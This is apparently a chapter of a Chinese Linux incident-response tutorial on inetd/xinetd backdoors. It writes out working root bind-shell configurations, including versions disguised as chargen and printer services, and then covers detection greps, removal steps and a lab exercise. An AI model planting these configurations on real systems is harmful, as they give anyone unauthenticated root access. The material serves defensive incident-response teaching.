Linux应急响应 - 26 inetd与xinetd后门

inetd/xinetd 后门 — 端口绑定 Shell 服务

利用 inetd/xinetd 超级服务器机制,将 /bin/bash 绑定到特定端口,实现”连接即获取 shell”

关联:08-服务与启动项审计 | 05-进程与网络分析

inetd/xinetd 概述

什么是超级服务器

inetd (Internet daemon) 和 xinetd (extended inetd) 是 Linux 的”超级服务器”

它们监听多个端口,当有连接时按需启动对应的服务程序

好处:不需要每个服务都常驻内存

现代 Linux 已基本被 systemd socket 替代,但很多系统仍然安装了 xinetd

inetd vs xinetd

特性 inetd xinetd
配置 /etc/inetd.conf /etc/xinetd.conf + /etc/xinetd.d/
访问控制 内置 IP 访问控制
日志 基本 详细
状态 已过时 部分系统仍在使用

后门构造

inetd 后门

1
2
3
4
5
6
# 在 /etc/inetd.conf 中添加一行
# 格式: service socket_type protocol wait user server args
31337 stream tcp nowait root /bin/bash bash -i

# 重启 inetd
kill -HUP $(pidof inetd)

效果:连接到 31337 端口即获得 root bash shell

1
2
3
# 攻击者连接
nc target 31337
# 直接获得 bash shell

xinetd 后门

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# 创建 /etc/xinetd.d/backdoor 文件
cat > /etc/xinetd.d/backdoor << 'EOF'
service backdoor
{
disable = no
socket_type = stream
protocol = tcp
port = 31337
wait = no
user = root
server = /bin/bash
server_args = -i
log_type = FILE /dev/null
}
EOF

# 在 /etc/services 中注册端口(如果需要)
echo "backdoor 31337/tcp" >> /etc/services

# 重启 xinetd
systemctl restart xinetd

更隐蔽的变体

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# 使用合法服务名伪装
cat > /etc/xinetd.d/chargen-dgram << 'EOF'
# 伪装成 chargen 服务
service chargen
{
disable = no
type = UNLISTED
socket_type = stream
protocol = tcp
port = 19
wait = no
user = root
server = /bin/bash
server_args = -i
}
EOF
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# 或者绑定到一个看起来正常的端口
cat > /etc/xinetd.d/printer << 'EOF'
service printer
{
disable = no
type = UNLISTED
socket_type = stream
protocol = tcp
port = 9100
wait = no
user = root
server = /usr/bin/python3
server_args = -c "import os;os.dup2(os.open('/dev/null',os.O_RDWR),2);os.execv('/bin/bash',['/bin/bash','-i'])"
}
EOF

检测方法

配置文件检查

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# 1. 检查 inetd 配置
cat /etc/inetd.conf 2>/dev/null | grep -v "^#" | grep -v "^$"

# 2. 检查 xinetd 配置
cat /etc/xinetd.conf 2>/dev/null
ls -la /etc/xinetd.d/ 2>/dev/null

# 3. 查看所有 xinetd 服务内容
for f in /etc/xinetd.d/*; do
echo "=== $f ==="
cat "$f" 2>/dev/null
echo ""
done

# 4. 关键字搜索(后门特征)
grep -rn "/bin/bash\|/bin/sh\|/usr/bin/python" /etc/inetd.conf /etc/xinetd.d/ 2>/dev/null
grep -rn "disable.*=.*no" /etc/xinetd.d/ 2>/dev/null

网络层检查

1
2
3
4
5
6
# 5. 检查异常监听端口
ss -antlp | grep -i "inetd\|xinetd"

# 6. 尝试连接可疑端口
# 如果 nc 连上就给你一个 shell,那就是后门
echo "id" | nc -w 3 localhost 31337

进程检查

1
2
3
4
5
6
# 7. 检查 inetd/xinetd 是否在运行
ps aux | grep -E "inetd|xinetd"
systemctl status xinetd 2>/dev/null

# 8. 检查 xinetd 管理的服务
chkconfig --list 2>/dev/null # CentOS

清除方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 1. 删除恶意配置
rm -f /etc/xinetd.d/backdoor
# 或从 /etc/inetd.conf 中删除恶意行

# 2. 清除 /etc/services 中的恶意条目
sed -i '/backdoor/d' /etc/services

# 3. 重启服务
systemctl restart xinetd 2>/dev/null
kill -HUP $(pidof inetd) 2>/dev/null

# 4. 或者直接禁用(如果不需要 xinetd)
systemctl stop xinetd
systemctl disable xinetd

实战练习

配套实验:labs/17-persistence-misc/

排查目标:

  1. 检查 xinetd 是否在运行
  2. 发现恶意的 xinetd 服务配置
  3. 确认后门端口和绑定的程序
  4. 清除后门

上一章 目录 下一章
25-SSH软链接后门 Linux应急响应 27-反弹Shell技术与检测